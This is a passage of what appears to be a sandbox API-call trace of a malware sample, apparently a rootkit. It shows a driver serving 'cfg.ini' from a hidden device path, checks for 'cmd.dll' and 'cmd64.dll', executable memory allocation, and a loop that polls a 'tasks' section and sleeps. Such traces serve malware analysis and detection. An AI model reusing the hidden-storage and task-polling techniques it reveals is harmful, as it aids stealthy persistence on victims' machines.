_Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.158] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.158] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca2c0 [0119.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.158] KeLeaveCriticalRegion () [0119.158] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.158] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.158] KeEnterCriticalRegion () [0119.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.158] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.158] KeLeaveCriticalRegion () [0119.158] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.158] KeEnterCriticalRegion () [0119.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.158] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.158] IdePortDispatch () returned 0x103 [0119.159] KeWaitForMutexObject () returned 0x0 [0119.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.159] KeLeaveCriticalRegion () [0119.159] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.159] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.159] KeEnterCriticalRegion () [0119.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.159] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c75000 [0119.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.159] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.159] IdePortDispatch () returned 0x103 [0119.159] KeWaitForMutexObject () returned 0x0 [0119.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.159] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.159] IdePortDispatch () returned 0x103 [0119.159] KeWaitForMutexObject () returned 0x0 [0119.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.159] KeLeaveCriticalRegion () [0119.159] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.160] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.160] KeEnterCriticalRegion () [0119.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.160] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.160] KeLeaveCriticalRegion () [0119.160] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.160] KeEnterCriticalRegion () [0119.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.160] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.160] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa8800, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.160] KeLeaveCriticalRegion () [0119.160] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.160] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.160] KeEnterCriticalRegion () [0119.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.160] ExFreePoolWithTag (P=0xfffffa80039ca2c0, Tag=0x0) [0119.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.160] KeLeaveCriticalRegion () [0119.160] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.160] ReleaseMutex (hMutex=0xf0) returned 1 [0119.160] Sleep (dwMilliseconds=0x927c0) [0119.174] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.174] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.174] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.174] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.174] KeEnterCriticalRegion () [0119.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.174] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.174] IdePortDispatch () returned 0x103 [0119.174] KeWaitForMutexObject () returned 0x0 [0119.174] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.174] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.174] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.174] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.174] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.174] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca370 [0119.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.174] KeLeaveCriticalRegion () [0119.174] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.174] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.174] KeEnterCriticalRegion () [0119.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.174] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.174] KeLeaveCriticalRegion () [0119.174] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.174] KeEnterCriticalRegion () [0119.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.175] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.175] IdePortDispatch () returned 0x103 [0119.175] KeWaitForMutexObject () returned 0x0 [0119.175] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.175] KeLeaveCriticalRegion () [0119.175] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.176] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.176] KeEnterCriticalRegion () [0119.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7a000 [0119.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.176] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.176] IdePortDispatch () returned 0x103 [0119.176] KeWaitForMutexObject () returned 0x0 [0119.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.176] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.176] IdePortDispatch () returned 0x103 [0119.176] KeWaitForMutexObject () returned 0x0 [0119.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.176] KeLeaveCriticalRegion () [0119.176] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.177] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.177] KeEnterCriticalRegion () [0119.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.177] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.177] KeLeaveCriticalRegion () [0119.177] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.177] KeEnterCriticalRegion () [0119.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.177] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.177] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb6a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.177] KeLeaveCriticalRegion () [0119.177] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.177] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.177] KeEnterCriticalRegion () [0119.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.177] ExFreePoolWithTag (P=0xfffffa80039ca370, Tag=0x0) [0119.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.177] KeLeaveCriticalRegion () [0119.177] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.177] ReleaseMutex (hMutex=0xf0) returned 1 [0119.177] Sleep (dwMilliseconds=0x927c0) [0119.191] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.191] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.191] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.191] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.191] KeEnterCriticalRegion () [0119.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.191] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.191] IdePortDispatch () returned 0x103 [0119.191] KeWaitForMutexObject () returned 0x0 [0119.191] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.191] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.191] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.191] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.191] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.191] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbe60 [0119.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.191] KeLeaveCriticalRegion () [0119.191] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.191] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.192] KeEnterCriticalRegion () [0119.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.192] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.192] KeLeaveCriticalRegion () [0119.192] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.192] KeEnterCriticalRegion () [0119.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.192] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.192] IdePortDispatch () returned 0x103 [0119.192] KeWaitForMutexObject () returned 0x0 [0119.192] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.192] KeLeaveCriticalRegion () [0119.192] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.192] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.192] KeEnterCriticalRegion () [0119.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.192] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7f000 [0119.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.192] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.192] IdePortDispatch () returned 0x103 [0119.192] KeWaitForMutexObject () returned 0x0 [0119.193] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.193] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.193] IdePortDispatch () returned 0x103 [0119.193] KeWaitForMutexObject () returned 0x0 [0119.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.193] KeLeaveCriticalRegion () [0119.193] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.193] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.193] KeEnterCriticalRegion () [0119.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.193] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.193] KeLeaveCriticalRegion () [0119.193] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.193] KeEnterCriticalRegion () [0119.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.193] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.193] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.194] KeLeaveCriticalRegion () [0119.194] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.194] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.194] KeEnterCriticalRegion () [0119.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.194] ExFreePoolWithTag (P=0xfffffa8003bdbe60, Tag=0x0) [0119.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.194] KeLeaveCriticalRegion () [0119.194] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.194] ReleaseMutex (hMutex=0xf0) returned 1 [0119.194] Sleep (dwMilliseconds=0x927c0) [0119.207] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.207] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.207] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.207] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.207] KeEnterCriticalRegion () [0119.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.207] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.207] IdePortDispatch () returned 0x103 [0119.207] KeWaitForMutexObject () returned 0x0 [0119.209] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.209] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.209] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.209] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.209] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.209] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca2c0 [0119.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.209] KeLeaveCriticalRegion () [0119.209] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.209] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.209] KeEnterCriticalRegion () [0119.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.209] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.209] KeLeaveCriticalRegion () [0119.209] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.209] KeEnterCriticalRegion () [0119.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.209] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.209] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.209] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.209] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.209] IdePortDispatch () returned 0x103 [0119.209] KeWaitForMutexObject () returned 0x0 [0119.209] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.209] KeLeaveCriticalRegion () [0119.209] 